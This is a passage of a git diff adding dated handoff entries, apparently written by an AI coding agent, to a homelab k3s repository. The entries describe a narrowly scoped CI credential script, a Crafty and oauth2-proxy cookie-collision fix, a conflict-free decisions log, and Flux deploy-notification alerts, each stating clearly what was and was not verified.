registration are UNVERIFIED by this run. The CI-side claims quoted above were measured
|
||||||
|
earlier, against the pre-rework head.
|
||||||
|
- **The post-force-push CI run has not been read.** The `gate / gate (pull_request)` result
|
||||||
|
quoted above is from run 128 on the old head.
|
||||||
@@ -0,0 +1,125 @@
|
|||||||
|
---
|
||||||
|
date: 2026-09-29
|
||||||
|
branch: feat/conformance-trigger-kubeconfig
|
||||||
|
title: The trigger credential script — it REFUSES, on purpose, and it is UNEXECUTED
|
||||||
|
---
|
||||||
|
|
||||||
|
## What changed
|
||||||
|
|
||||||
|
Delivered `infra/gitea/conformance-trigger-kubeconfig.sh` —
|
||||||
|
`docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 — plus its section in
|
||||||
|
`infra/gitea/README.md`. **The script is UNEXECUTED.** Minting a cluster credential and
|
||||||
|
changing Gitea variables are operator actions; nothing was minted, no Gitea object was
|
||||||
|
written, no `kubectl` mutation was made. Everything below is a claim about the *script*,
|
||||||
|
not about the platform.
|
||||||
|
|
||||||
|
*What it does.* Mints a token for `conformance/conformance-trigger` (TokenRequest), wraps
|
||||||
|
**only that token** with the cluster CA and server into a kubeconfig, stores it as the
|
||||||
|
Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG` (legal name — **not** the reserved `GITEA_`
|
||||||
|
prefix), and sets `vars.CLUSTER_AVAILABLE` only as a separately-requested,
|
||||||
|
precondition-gated, TTY-confirmed final step. The token is never printed and never reaches
|
||||||
|
argv: it goes into a 0600 file and into the PUT **body file**. The script refuses to run
|
||||||
|
under `set -x`.
|
||||||
|
|
||||||
|
*The design decision worth reviewing: TWO precondition classes.*
|
||||||
|
|
||||||
|
- **mint-blocking (cluster-side):** SA/Role/RoleBinding present, and ClusterPolicy
|
||||||
|
`conformance-trigger-job-shape` present + `Enforce` + `failurePolicy: Fail` + Ready. If any
|
||||||
|
fails, **nothing is minted**. Rationale: Kubernetes puts no `use` check on a Job's
|
||||||
|
`serviceAccountName`, so a `create jobs` token in that namespace IS the privileged
|
||||||
|
`conformance-runner` identity unless the admission policy bounds it. RBAC cannot fix that
|
||||||
|
(plan §4); minting before the boundary is live would hand CI the escalation the boundary
|
||||||
|
exists to close.
|
||||||
|
- **arm-blocking (repo-side):** digest-pinned `CONFORMANCE_RUNNER_IMAGE`, an init-container
|
||||||
|
plus the admitted image in `chainsaw-job.yaml`, and `CONFORMANCE_TRIGGER_KUBECONFIG`
|
||||||
|
referenced in `ci/conformance.sh` **code rather than a comment**. These block only the
|
||||||
|
variable, because storing the secret early is harmless and is the plan's own order.
|
||||||
|
|
||||||
|
**Measured in the tree at the time of writing: all three arm-blocking checks FAIL** (no
|
||||||
|
`CONFORMANCE_RUNNER_IMAGE` in `conformance/versions.env`; `chainsaw-job.yaml` is still the
|
||||||
|
skeleton with an empty `workspace` emptyDir and the stock chainsaw image; `ci/conformance.sh`
|
||||||
|
names the trigger kubeconfig only in its TODO comment). So on a live run today the script
|
||||||
|
would provision the secret and then **refuse to arm `CLUSTER_AVAILABLE`**, naming each
|
||||||
|
missing item — which is the intended behaviour, not a defect. §3 items 1, 2 and 4 are the
|
||||||
|
work that unblocks it.
|
||||||
|
|
||||||
|
*Both writes are verified the way `set-ci-token.sh` learned to.* `curl -sS` exits 0 on an
|
||||||
|
HTTP error, so status alone proves nothing: each write checks `%{http_code}` **and** reads
|
||||||
|
the object back. For the secret that is presence-by-name only (Gitea never returns secret
|
||||||
|
values) and the script says so rather than implying the content was checked; for the variable
|
||||||
|
it asserts the value reads back as exactly `true`.
|
||||||
|
|
||||||
|
*Noted, not fixed at the time (since fixed on this branch).* `infra/gitea/README.md`'s
|
||||||
|
detector table still named `GITEA_SETTINGS_TOKEN` — the illegal name PR #15 replaced with
|
||||||
|
`SETTINGS_API_TOKEN`. The second commit on this branch corrects the README's table and its
|
||||||
|
closing "remaining step" line, and records what `ci/gitea-settings.sh` actually does
|
||||||
|
(`TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"` — the old name survives only as a
|
||||||
|
local-run environment variable, never as CI wiring, because the secret that would feed it
|
||||||
|
cannot be created at all). Documentation only, no behaviour change. Still NOT fixed, because
|
||||||
|
it is outside this PR's diff: `ci/gitea-settings.sh:45` instructs the reader to create a repo
|
||||||
|
secret `GITEA_SETTINGS_TOKEN`, which is impossible.
|
||||||
|
|
||||||
|
*Rework, 2026-09-29.* This branch originally appended ~99 lines to the tail of
|
||||||
|
`DECISIONS-LOG.md`. That is the hunk every concurrent branch collided on and the sole reason
|
||||||
|
PR #19 was `mergeable: false`. The branch was rebuilt on today's `main` with the
|
||||||
|
`DECISIONS-LOG.md` change dropped entirely, and this file is that handoff moved into
|
||||||
|
`decisions/`. The changes to `infra/gitea/**` are byte-identical to the original three
|
||||||
|
commits; the commit that contained only the log append was dropped and its substance folded
|
||||||
|
in below.
|
||||||
|
|
||||||
|
## What I verified
|
||||||
|
|
||||||
|
*Of the script, before it stores anything:* it PROVES the credential narrow — `auth whoami`
|
||||||
|
must return `system:serviceaccount:conformance:conformance-trigger`; a real `get jobs`
|
||||||
|
round-trip must succeed; then an `auth can-i` matrix asserts BOTH halves — granted
|
||||||
|
(`create/get jobs`, `get pods`, `get pods/log`) and **denied** (`delete jobs`, `create
|
||||||
|
pods/exec`, `get secrets`, `create jobs` in `default`, `get nodes`,
|
||||||
|
`'*' '*' --all-namespaces`). A mismatch aborts before anything is stored, and the message
|
||||||
|
says explicitly **not** to widen `conformance/incluster/rbac.yaml` to make it pass. That is a
|
||||||
|
property of the code as read, not of an execution.
|
||||||
|
|
||||||
|
*Of PR #19's CI, measured rather than assumed — and it contradicts the brief.* The brief for
|
||||||
|
this work stated this PR's CI would FAIL `approval-policy` because `infra/gitea/**` is
|
||||||
|
security-relevant. Measured on the PR head commit's `/statuses`:
|
||||||
|
|
||||||
|
gate / gate (pull_request) success Successful in 1m34s
|
||||||
|
gate / conformance (pull_request) pending Blocked by required conditions
|
||||||
|
|
||||||
|
`.gitea/workflows/` on `main` contains only `gate.yml` and the dormant `merge-gate.yaml`.
|
||||||
|
**No path-scoped approval policy exists**, so nothing machine-enforces "security-relevant
|
||||||
|
paths need a human"; that rule rests entirely on `required_approvals: 1` plus a reviewer
|
||||||
|
actually reading the diff. Another instance of the CLAUDE.md §2b failure mode — a control
|
||||||
|
believed to exist because a brief said so. If the policy is intended, it is missing and needs
|
||||||
|
its own change. And per this repo's own rule, that green `gate` tick is **not** evidence this
|
||||||
|
script works: the gate never executes `infra/gitea/**`, and the L2/L3 stage skipped.
|
||||||
|
|
||||||
|
*Gate on the reworked branch (pinned toolbox, from the agent worktree, `DEV_KUBECONFIG=/dev/null`
|
||||||
|
plus the `ENGINE` bind-mount shim per CLAUDE.md §3):* `MERGE GATE: UNDETERMINED`, **rc 3**.
|
||||||
|
Diff base `origin/main @ c59fe9f923c4` ... this branch's head; touched requirement resolved as
|
||||||
|
`R-ENV-01`. `spec-immutability`, `decisions-log`, `lint`, `l0`, `render-golden` and `l1` all
|
||||||
|
green; the gate decision names exactly one stage that did not run — `gitea-settings`
|
||||||
|
(`SETTINGS_API_TOKEN` is a credential this agent does not hold, unwired repo-wide). The
|
||||||
|
`conformance` stage also reported SKIPPED (`CLUSTER_AVAILABLE!=true`, Phase 0). The new
|
||||||
|
`decisions-log` stage — merged to `main` as PR #24 after this rework began — validated this very
|
||||||
|
file: "archive frozen, 2 entries well-formed", with `DECISIONS-LOG.md` unchanged and matching
|
||||||
|
`decisions/ARCHIVE.sha256`. rc 3 is UNDETERMINED, not green, and is not reported as green here.
|
||||||
|
|
||||||
|
## What I did NOT verify
|
||||||
|
|
||||||
|
**The script has never executed.** Not one line of it has run against Gitea or against the
|
||||||
|
cluster. Only `bash -n` was run (clean); `shellcheck` is not on the host and there is no
|
||||||
|
shellcheck stage in the gate.
|
||||||
|
|
||||||
|
- The Gitea variables API shape (POST-creates / PUT-updates, body field `value` not `data`)
|
||||||
|
is from **documentation, not measurement**. The script tries POST then falls back to PUT,
|
||||||
|
prints the response body on failure, and treats the read-back as the authority.
|
||||||
|
- The Kyverno readiness field (`.status.ready` vs. a Ready condition) is handled both ways
|
||||||
|
and treats "neither present" as a block rather than assuming ready — but which form this
|
||||||
|
cluster actually reports is **unmeasured**.
|
||||||
|
- Whether the kubeconfig's embedded server URL is reachable from the runner pod **cannot be
|
||||||
|
known from here** — hence `--server`, and a hard refusal on a loopback address.
|
||||||
|
- No credential was minted, no Actions secret was created, `vars.CLUSTER_AVAILABLE` was not
|
||||||
|
set, and no `can-i` matrix was ever run against a real token. The narrowness argument above
|
||||||
|
is read from the RBAC and the script, not observed.
|
||||||
|
- The gate proves only its L0/L1 offline subset. L2/L3 conformance did not run, so nothing
|
||||||
|
here is evidence about runtime behaviour.
|
||||||
@@ -0,0 +1,123 @@
|
|||||||
|
---
|
||||||
|
date: 2026-09-29
|
||||||
|
branch: fix/crafty-oauth2-proxy-signin
|
||||||
|
title: Crafty "won't sign in after Keycloak" — the gate was fine, Crafty's own login was the wall
|
||||||
|
---
|
||||||
|
|
||||||
|
## What changed
|
||||||
|
|
||||||
|
Reported as *"crafty utilizing the keycloak oauth2-proxy does not sign in to the service after
|
||||||
|
signing into keycloak; there is no way to set the service up without credentials."* The sidecar's
|
||||||
|
own access log settles which layer refused, and it is not the one the report names:
|
||||||
|
|
||||||
|
GET / -> 302 to Keycloak
|
||||||
|
[AuthSuccess] ... groups:[platform-admins] <- oauth2-proxy did its job
|
||||||
|
GET /oauth2/callback -> 302
|
||||||
|
GET /panel/dashboard -> 302
|
||||||
|
GET /login?next=/panel/dashboard -> 200 <- CRAFTY's own login page
|
||||||
|
POST /api/v2/auth/login/ -> 401 <- CRAFTY refused
|
||||||
|
|
||||||
|
**The Keycloak gate was never broken.** Crafty 4 has no OIDC and cannot consume the sidecar's
|
||||||
|
identity headers, so it presents its own local login to an already-authenticated user. That second
|
||||||
|
factor is intended. What was not intended — and what made the service genuinely impossible to set
|
||||||
|
up — is that **nothing documented where that password comes from**. Crafty generates it **once, on
|
||||||
|
first boot only** (users table empty → `DatabaseBuilder.default_settings()`) into
|
||||||
|
`/crafty/app/config/default-creds.txt`, mode `0600`, on the PVC's `config` subPath. Never in git; a
|
||||||
|
fresh PVC generates a new one and the old is gone with the volume. `platform/crafty/README.md`
|
||||||
|
asserted the double login was "expected, not a bug" and then left the reader with no way forward —
|
||||||
|
the assertion was true and useless in the same sentence.
|
||||||
|
|
||||||
|
So this branch:
|
||||||
|
|
||||||
|
- Adds `runbooks/crafty-admin-credential.md` — tell the two auth layers apart from the sidecar log,
|
||||||
|
retrieve and rotate the bootstrap credential, and reset a lost one via argon2. Registered in the
|
||||||
|
runbooks `configMapGenerator`/`kustomization.yaml` and listed in `runbooks/README.md`, so the URL
|
||||||
|
actually resolves rather than the file merely existing.
|
||||||
|
- Documents the credential's provenance and the two auth layers in `platform/crafty/README.md`.
|
||||||
|
- **Fixes a second, real defect found while proving the first.** Both oauth2-proxy instances emitted
|
||||||
|
oauth2-proxy's **default** cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
|
||||||
|
`.home.keithjackson.dev`, while holding **different** cookie-secrets. One cookie pair, two
|
||||||
|
proxies: whichever authenticated last clobbered the other's session; the loser logged `No valid
|
||||||
|
authentication in request`, bounced to Keycloak, and — SSO session still live — was redirected
|
||||||
|
straight back, clobbering it again. **That mutual eviction presents exactly as the reported
|
||||||
|
symptom**, intermittently, and would have been blamed on Keycloak indefinitely. Fixed on the
|
||||||
|
crafty side only (renaming the shared proxy's cookie would sign out every other gated app): a
|
||||||
|
unique `--cookie-name=_oauth2_proxy_crafty` plus a **host-scoped** `--cookie-domain`.
|
||||||
|
`--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
|
||||||
|
|
||||||
|
**Considered and rejected: seeding `default.json` from a SOPS Secret.** Crafty does ship the hook —
|
||||||
|
`find_default_password()` reads `app/config/default.json` (`username`, `password`, min 8 chars) and
|
||||||
|
`delete_default_json` controls its removal — so an initContainer could make a rebuilt Crafty's admin
|
||||||
|
password deterministic and git-managed. Rejected: the image entrypoint pulls its default config
|
||||||
|
**only when `app/config` is empty** (`if [ ! "$(ls -A --ignore=.gitkeep ./app/config)" ]; then cp -r
|
||||||
|
./app/config_original/* ./app/config/`). Writing `default.json` there pre-boot makes the directory
|
||||||
|
non-empty and **suppresses the entire config bootstrap** — no `config.json`, no `credits.json`.
|
||||||
|
Doing it safely means replicating the entrypoint's copy inside the initContainer, i.e. co-owning
|
||||||
|
image-internal bootstrap logic that a 4.11 bump can change silently, to replace a one-command
|
||||||
|
retrieval. Not worth it. If it is ever revisited, the `ls -A` guard is the landmine to design around.
|
||||||
|
|
||||||
|
## What I verified
|
||||||
|
|
||||||
|
- **Which layer refused**, from the sidecar's own access log: `[AuthSuccess] ...
|
||||||
|
groups:[platform-admins]` followed by Crafty's `/login` page and `POST /api/v2/auth/login/ → 401`.
|
||||||
|
oauth2-proxy admitted the user; Crafty rejected the local credential.
|
||||||
|
- **The existing bootstrap credential is still usable**, so no DB surgery is needed to get in:
|
||||||
|
`users.last_update` **equals** `users.created` for `admin` (`09/05/2026, 08:10:04`) — the password
|
||||||
|
has never been changed — and admin's `last_login` is 09/14 from `127.0.0.1`, the API login that
|
||||||
|
created the "homelab" server. `default-creds.txt` is therefore live.
|
||||||
|
- **The two cookie-secrets differ** — compared the two live Secrets (key presence/values compared
|
||||||
|
in-cluster, not printed), so neither proxy can decrypt the other's cookie; and both instances were
|
||||||
|
emitting the default cookie names on the shared `.home.keithjackson.dev` scope.
|
||||||
|
- **The 3-strikes cooldown cannot fire behind this sidecar.** Crafty *records* failed attempts under
|
||||||
|
`get_remote_ip()` (honours `X-Forwarded-For` — the live tracker key is the chain
|
||||||
|
`"192.168.2.132, 10.0.0.123"`, with 1 attempt: the reported 401) but *checks* the cooldown under
|
||||||
|
`self.request.remote_ip`, always `127.0.0.1` here. The halves key differently, so
|
||||||
|
`get_recent_attempts()` always reads empty and `max_login_attempts: 3` never fires. Good
|
||||||
|
(**repeated guesses cannot lock the operator out**) and bad (that throttle is not a control we
|
||||||
|
have; the `platform-admins` gate is the only thing limiting who reaches the form). I had written
|
||||||
|
the opposite into the README from the config value alone before measuring it — the config key
|
||||||
|
existing is not the same claim as the code path running.
|
||||||
|
- **`set_passwd` is unreachable in k8s**: it calls `getpass.getpass()` and needs a TTY; the container
|
||||||
|
runs `main.py -d -i`. Recovery must go through the DB.
|
||||||
|
- **argon2 is installed only in `/crafty/.venv/bin/python`** — the system `python3` in that container
|
||||||
|
cannot import it, so the obvious reset one-liner fails.
|
||||||
|
- **`dev.sh` does not forward stdin.** A `kubectl exec -i` through it hangs forever (provoked, not
|
||||||
|
assumed). So the runbook's reset generates its password **in-pod** into a `0600` file — Crafty's own
|
||||||
|
`default-creds.txt` idiom — rather than passing a secret through argv, stdin or shell history.
|
||||||
|
- **Gate:** toolbox `./ci/gate.sh` — see the next section for the exit code. Green stages:
|
||||||
|
`spec-immutability`, `lint`, `l0`, `render-golden`, `l1`.
|
||||||
|
|
||||||
|
## What I did NOT verify
|
||||||
|
|
||||||
|
- **No browser round-trip.** The sign-in fix is **UNVERIFIED end-to-end**. The cookie change is
|
||||||
|
reasoned from measured facts (default cookie names on both, shared domain, differing secrets) and
|
||||||
|
renders correctly, but nobody has signed in through it. The human test is in
|
||||||
|
`platform/crafty/README.md`.
|
||||||
|
- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
|
||||||
|
still the pre-fix spec (`crafty-64f7b6d78-pkpgp`, 2/2, 15d, 0 restarts — unchanged by this
|
||||||
|
session's read-only probes). **Merging is what deploys, and it will restart the pod** —
|
||||||
|
`strategy: Recreate` on an RWO volume, so the "homelab" Minecraft server stops and restarts. Pick
|
||||||
|
the moment.
|
||||||
|
- **Gate rc 3, not 0.** Green: `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`. **Skipped:**
|
||||||
|
`gitea-settings` (no `SETTINGS_API_TOKEN`) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset) —
|
||||||
|
touched requirements `R-DNS-01 R-NET-01 R-OBS-04 R-PLAT-02 R-STATE-01` are **not certified**.
|
||||||
|
Nothing failed; nothing runtime was proven either. **rc 3 is UNDETERMINED, not green.**
|
||||||
|
- **The admin password was not rotated**, and the bootstrap credential is still the standing admin
|
||||||
|
credential. The runbook says to rotate on first sign-in; that is an operator action and is still
|
||||||
|
open.
|
||||||
|
- **The cookie collision's symptom was never reproduced in a browser.** This is the part of the
|
||||||
|
change with no observed failure to point at — the sidecar trace above shows a *working* session,
|
||||||
|
because that browser had not visited another gated app first. It is a latent-bug fix.
|
||||||
|
|
||||||
|
### Follow-ups
|
||||||
|
|
||||||
|
1. **Sign in and rotate** — `runbooks/crafty-admin-credential.md`, then confirm `last_update` moves
|
||||||
|
off `created`. Until then the panel's admin password is a value generated on 2026-09-05 that has
|
||||||
|
sat unchanged and undocumented.
|
||||||
|
2. **Decide whether the inert brute-force cooldown matters.** Fixing it is upstream (Crafty keys the
|
||||||
|
two halves differently); the alternative is to accept the `platform-admins` gate as the only
|
||||||
|
throttle and say so.
|
||||||
|
3. **Any further per-app reverse-proxy sidecar needs a unique `--cookie-name` too.** The collision is
|
||||||
|
a property of the pattern, not of Crafty. Worth an L0 check asserting that every oauth2-proxy
|
||||||
|
instance in the tree declares a distinct cookie name — the failure is silent and intermittent,
|
||||||
|
which is exactly the shape this repo keeps getting burned by.
|
||||||
@@ -0,0 +1,82 @@
|
|||||||
|
---
|
||||||
|
date: 2026-09-29
|
||||||
|
branch: chore/decisions-log-conflict-free
|
||||||
|
title: The handoff log was serialising every parallel branch — it is a directory now
|
||||||
|
---
|
||||||
|
|
||||||
|
## What changed
|
||||||
|
|
||||||
|
`DECISIONS-LOG.md` is frozen and the handoff log is now a directory, `decisions/`, with one
|
||||||
|
file per entry (`YYYY-MM-DD-<slug>.md`). Concurrent branches write disjoint paths, so there
|
||||||
|
is nothing for git to merge.
|
||||||
|
|
||||||
|
The problem was not any particular change. CLAUDE.md §7 told every agent to append a handoff,
|
||||||
|
and appending always landed on the *same last hunk* of one 5,228-line file. Two branches that
|
||||||
|
both did it could not auto-merge; N branches cost N-1 rebases, and each rebase invalidated the
|
||||||
|
gate run before it. The agents work in isolated worktrees precisely so they don't block each
|
||||||
|
other, and this one file undid that.
|
||||||
|
|
||||||
|
- `decisions/README.md` — the convention, the template, and how to read the log. No index file
|
||||||
|
and no sequence number, deliberately: an index is a shared mutable file (the thing that just
|
||||||
|
failed) and a counter has two agents racing for the same number. The directory listing is the
|
||||||
|
index.
|
||||||
|
- `DECISIONS-LOG.md` — a "FROZEN ARCHIVE" header prepended; content otherwise untouched. Its
|
||||||
|
SHA-256 is pinned in `decisions/ARCHIVE.sha256`.
|
||||||
|
- `ci/decisions-log.sh` — a new gate stage. Asserts the archive matches its pin, and that every
|
||||||
|
entry is named `YYYY-MM-DD-<slug>.md` with a real date, carries `date`/`branch`/`title`
|
||||||
|
frontmatter agreeing with its filename, and has all three of §7's sections with a real body
|
||||||
|
under each. Exit 0 or 1 only; it has no skip path by construction, because it reads only files
|
||||||
|
in the tree under test and needs no tool and no cluster.
|
||||||
|
- `ci/gate.sh` — runs the stage; both `fail` and (impossible) `skip` set `BLOCK`. There is no
|
||||||
|
`REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard.
|
||||||
|
- `ci/tests/decisions-log.test.sh` — 22 assertions, new.
|
||||||
|
- `ci/tests/gate-decision.test.sh` — 3 new assertions for the stage's wiring, **plus a
|
||||||
|
pre-existing bug fixed**: its stub list never included `gitea-settings`, so that stage's
|
||||||
|
script was absent from the stub CI dir, `run_stage` recorded exit 127 as a FAILED stage in
|
||||||
|
every case, and 15 of 47 assertions failed on `main`. The suite was measuring its own missing
|
||||||
|
stub rather than the decision logic.
|
||||||
|
- `CLAUDE.md` §7 rewritten; §1's "stale runbook wording" caveat extended to the log.
|
||||||
|
- `ci/Makefile`, `ci/README.md`, `.gitea/workflows/README.md` — the stage named where stages are
|
||||||
|
named.
|
||||||
|
|
||||||
|
A guard rather than a paragraph, because the old habit is written into the runbooks and into
|
||||||
|
every agent that has read the log, and getting it wrong does not fail: it produces a clean-looking
|
||||||
|
commit that re-creates the conflict on *other people's* branches, later, misattributed.
|
||||||
|
|
||||||
|
## What I verified
|
||||||
|
|
||||||
|
Measured against the live Gitea (`GET /api/v1/repos/Home-Network/home-network-k3s-impl/pulls`,
|
||||||
|
2026-09-29), not inferred from the tree:
|
||||||
|
|
||||||
|
#22 fix/crafty-oauth2-proxy-signin mergeable=False
|
||||||
|
#20 feat/conformance-job-template mergeable=False
|
||||||
|
#19 feat/conformance-trigger-kubeconfig mergeable=False
|
||||||
|
#18 feat/conformance-runner-image mergeable=False
|
||||||
|
#17 feat/ci-is-the-approver mergeable=True
|
||||||
|
|
||||||
|
`git merge-tree --write-tree origin/main origin/<branch>` for each named
|
||||||
|
`CONFLICT (content): DECISIONS-LOG.md` and **no other conflicting path** in all four. #17 is
|
||||||
|
clean and touched no log entry. So the log's storage format was the whole of the blockage.
|
||||||
|
|
||||||
|
Tests: `ci/tests/decisions-log.test.sh` **PASS (22 assertions)**, including the one that
|
||||||
|
matters — an append to `DECISIONS-LOG.md` exits non-zero and the message names both the frozen
|
||||||
|
archive and the file to write instead. `ci/tests/gate-decision.test.sh` **PASS (50 assertions)**,
|
||||||
|
up from **FAIL (15 failed, 32 passed)** on `main` before the stub fix.
|
||||||
|
|
||||||
|
Gate: see the run quoted in the PR description.
|
||||||
|
|
||||||
|
## What I did NOT verify
|
||||||
|
|
||||||
|
- **Nothing was applied and nothing was merged.** No `kubectl`, no `flux reconcile`. This change
|
||||||
|
touches only CI and documentation; it has no cluster-visible effect at all.
|
||||||
|
- **L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), as always. Irrelevant to this
|
||||||
|
change's content but stated so the gate result is not over-read.
|
||||||
|
- **I have not watched a Gitea PR check run this stage.** The stage is proven by its own unit
|
||||||
|
test and by the gate locally; that the `incluster-dind` runner executes it is unobserved here.
|
||||||
|
A skipped Gitea job still reports `success`, so read the job log, not the tick.
|
||||||
|
- **The four hung PRs are not yet fixed by this commit.** They still carry their
|
||||||
|
`DECISIONS-LOG.md` appends and will still conflict until each is rebased onto this change with
|
||||||
|
its append converted to a `decisions/` entry. That is follow-up work, in flight separately.
|
||||||
|
- **`runbooks/` and older entries still say "append to DECISIONS-LOG.md"** in places. I did not
|
||||||
|
sweep them. The gate now rejects the action, so the stale wording misleads but cannot cause
|
||||||
|
the damage; it joins the existing tracked work on stale `git push origin main` wording.
|
||||||
@@ -0,0 +1,144 @@
|
|||||||
|
---
|
||||||
|
date: 2026-09-29
|
||||||
|
branch: feat/flux-deploy-notifications
|
||||||
|
title: Flux deploy notifications — the operator now gets mail when a git change starts rolling out and when it completes
|
||||||
|
---
|
||||||
|
|
||||||
|
## What changed
|
||||||
|
|
||||||
|
The operator was getting **no notification when Flux began applying a git change, and none when it
|
||||||
|
finished**. Root cause, measured rather than inferred: `notification-controller` v1.4.0 is running
|
||||||
|
(`1/1` ready) and the `Provider`/`Alert`/`Receiver` CRDs are installed and serving `v1beta3`, but
|
||||||
|
there are **zero `Provider` and zero `Alert` objects in the entire cluster** (`kubectl get
|
||||||
|
providers,alerts -A` → `No resources found`). Nothing in git ever created any. The five `gotk_*`
|
||||||
|
rules in `platform/monitoring/alerts.yaml` only cover *failures* (`FluxReconciliationFailure`,
|
||||||
|
`FluxResourceSuspended`) — nothing covered the healthy path.
|
||||||
|
|
||||||
|
**The obvious fix does not work, and this is the substance of the change.** Neither Flux event can be
|
||||||
|
filtered into a deploy signal:
|
||||||
|
|
||||||
|
- `ReconciliationSucceeded` is a **heartbeat, not a change signal**. 16 Kustomizations, 15 on
|
||||||
|
`interval: 10m` → **101 such events in one hour**, with the message `Reconciliation finished in
|
||||||
|
324.161192ms, next run in 10m0s` — byte-identical in shape whether the apply changed anything or
|
||||||
|
not. An `Alert` at `eventSeverity: info` would have mailed ~100 times an hour.
|
||||||
|
- `Progressing` is worse. Five Kustomizations re-apply the same object on **every** tick — event
|
||||||
|
counts **2505 / 2504 / 2501 / 2495 / 2490** (`apps-vms` → `NetworkPolicy/unifi/default-deny`,
|
||||||
|
`platform` → `CustomResourceDefinition/cdis.cdi.kubevirt.io`, `apps-wave-0/1/2` →
|
||||||
|
`NetworkPolicy/{gitea,nextcloud,seerr}/default-deny`). Anything keyed on `Progressing` would mail
|
||||||
|
five times every ten minutes, forever.
|
||||||
|
- `gotk_*` carries **no revision label anywhere** — `gotk_reconcile_condition` 120 series,
|
||||||
|
`gotk_suspend_status` 40, not one with a revision.
|
||||||
|
|
||||||
|
The applied **revision** is the only signal that moves when and only when git moves, and it lives in
|
||||||
|
object status alone. So:
|
||||||
|
|
||||||
|
1. **`platform/monitoring/kube-prometheus-stack.yaml`** — two resources added to the *existing*
|
||||||
|
`kube-state-metrics.customResourceState` config (the Velero-Schedule path, already enabled):
|
||||||
|
`kube_flux_kustomization_info{revision}` + `kube_flux_kustomization_suspended` (from
|
||||||
|
`status.lastAppliedRevision` / `spec.suspend`) and `kube_flux_gitrepository_info{revision}` (from
|
||||||
|
`status.artifact.revision`). Plus the two mandatory read-only `rbac.extraRules` entries, and a
|
||||||
|
`podAnnotations` roll-counter — the chart sets **no checksum annotation** over that ConfigMap, so
|
||||||
|
a config-only edit would have left KSM running the old collector set with the new metrics absent
|
||||||
|
and the new alerts silently inert. Named `kube_flux_*`, never `gotk_*`, for the same reason
|
||||||
|
`kube_velero_schedule_*` is not `velero_*`: these are KSM series about Kubernetes objects.
|
||||||
|
Cost: 33 series.
|
||||||
|
2. **`platform/monitoring/alerts.yaml`**, group `platform-health.flux` — `FluxRolloutInProgress`
|
||||||
|
(`severity: info`, **no `for:`**) fires the moment any non-suspended Kustomization's applied
|
||||||
|
revision is not the revision the GitRepository fetched from `main`, and **clears when all have
|
||||||
|
caught up**. Fired mail = "a deploy started"; **resolved mail = "it completed"** — the completion
|
||||||
|
half is delivered by `send_resolved`, not by a second rule. `FluxRolloutStuck` (`severity:
|
||||||
|
warning`, `for: 30m`) is the same expression as the escalation for a rollout that started and
|
||||||
|
never converged.
|
||||||
|
3. **Alertmanager** — a dedicated `severity = "info"` route and `email-deploy` receiver, subject
|
||||||
|
`[FLUX] applying|applied — …`. Without it a routine deploy would have arrived subject-lined
|
||||||
|
`[WARNING]` via the catch-all receiver and become indistinguishable from a real fault.
|
||||||
|
`group_by: [alertname]` collapses all 16 Kustomizations into one mail per rollout;
|
||||||
|
`group_interval: 2m` so completion is not held 4m behind the event.
|
||||||
|
4. **`platform/monitoring/tests/flux-rollout.test.yaml`** — 6 promtool scenarios, both directions.
|
||||||
|
5. **`runbooks/flux-rollout.md`** (+ its `configMapGenerator` entry) and a `kube_flux_` entry in
|
||||||
|
`conformance/tests/l0-static/alert-metrics-have-scrape-targets/check.sh` whose `require` patterns
|
||||||
|
pin `customResourceState`, both `metricNamePrefix`es, both `apiGroups` and the roll-counter — so
|
||||||
|
deleting any of them fails the gate instead of silently re-inerting the alerts.
|
||||||
|
|
||||||
|
Two guards in the expression, each with a test whose only job is to fail if that clause is removed:
|
||||||
|
`and on () (count(kube_flux_gitrepository_info…) > 0)` (without it, a missing exporter makes
|
||||||
|
`unless on (revision) <empty>` remove nothing and **all 16 Kustomizations alert forever** — the
|
||||||
|
permanently-firing mode this repo shipped once already), and `unless on (namespace, name)
|
||||||
|
(kube_flux_kustomization_suspended == 1)` (a suspended Kustomization pins an old revision by design
|
||||||
|
and would hold the rollout open, so the "applied" mail would never arrive).
|
||||||
|
|
||||||
|
## What I verified
|
||||||
|
|
||||||
|
Measured against live prod (`--context k3s-prod`) **before** writing anything, and quoted here as
|
||||||
|
measured:
|
||||||
|
|
||||||
|
- `notification-controller` `1/1`, image `ghcr.io/fluxcd/notification-controller:v1.4.0`;
|
||||||
|
`alerts`/`providers`/`receivers.notification.toolkit.fluxcd.io` all serve `v1beta3` (storage);
|
||||||
|
`get providers,alerts -A` → **`No resources found`**. This is the defect.
|
||||||
|
- Event counts above, from `kubectl get events -A -o json` filtered to `toolkit.fluxcd.io`
|
||||||
|
involvedObjects: 101 `Kustomization/ReconciliationSucceeded`, 10 `Progressing`, 15
|
||||||
|
`DependencyNotReady`, 4 `GitRepository/GitOperationSucceeded`, 1 `NewArtifact`.
|
||||||
|
- The `gotk_*` family **is** in the TSDB now (`flux-podmonitor` works): 6 targets up in job
|
||||||
|
`flux-system/flux-system`, `gotk_reconcile_condition` 120 series, `gotk_suspend_status` 40
|
||||||
|
(`{kind="Kustomization"}` = 16) — and none carries a revision.
|
||||||
|
- `customResourceState` already works end to end: `kube_velero_schedule_{created,paused,
|
||||||
|
protects_volume_data,info}` = 2 series each.
|
||||||
|
- Both CRDs serve **`v1` as the storage version**; `GitRepository/flux-system`
|
||||||
|
`.status.artifact.revision` = `main@sha1:b93594b7c85aeec4d28e008b239d61d181e1e6de`, `spec.interval`
|
||||||
|
`1m`; all 16 Kustomizations report that same `lastAppliedRevision`; **none** sets `spec.suspend`
|
||||||
|
(which is why `nilIsZero: true` is mandatory).
|
||||||
|
- Reachability for the follow-up below: `flux-system/allow-egress` is `egress: [{}]` (allow-all) and
|
||||||
|
the `monitoring` namespace has **no NetworkPolicy at all**, so nothing blocks flux-system →
|
||||||
|
`kube-prometheus-stack-alertmanager` (`10.43.60.242:9093`).
|
||||||
|
- `promtool test rules` on the new suite: **SUCCESS**, 53 rules parsed, promtool 3.14.0 from the
|
||||||
|
